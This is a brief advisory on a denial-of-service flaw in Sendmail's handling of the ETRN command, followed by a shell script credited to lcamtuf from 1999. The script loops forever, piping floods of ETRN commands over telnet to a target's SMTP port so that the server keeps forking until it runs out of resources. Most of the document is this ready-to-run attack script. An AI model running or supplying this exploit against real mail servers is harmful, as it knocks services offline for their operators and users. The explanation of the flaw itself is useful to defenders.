There is a low-bandwidth dos vulnerability in Sendmail. When a client connects to the sendmail smtpd and sends an ETRN command to the server, the server fork()s and sleeps for 5 seconds. If many ETRN commands are sent to a server, it is possible to exhaust system resources and cause a denial of service or even a reboot of the server.

#!/bin/sh

TARGET=localhost
COUNT=150
SLEEP=1

echo "gurghfrbl.sh - (c) lcamtuf '99"
echo -n "Tickle"

while :; do
echo -n "."
(
NIC=0
while [ "$NIC" -lt "$COUNT" ]; do
echo "ETRN x"
done
) | telnet $TARGET 25 &>/dev/null &
sleep $SLEEP
killall -9 telnet &>/dev/null
done
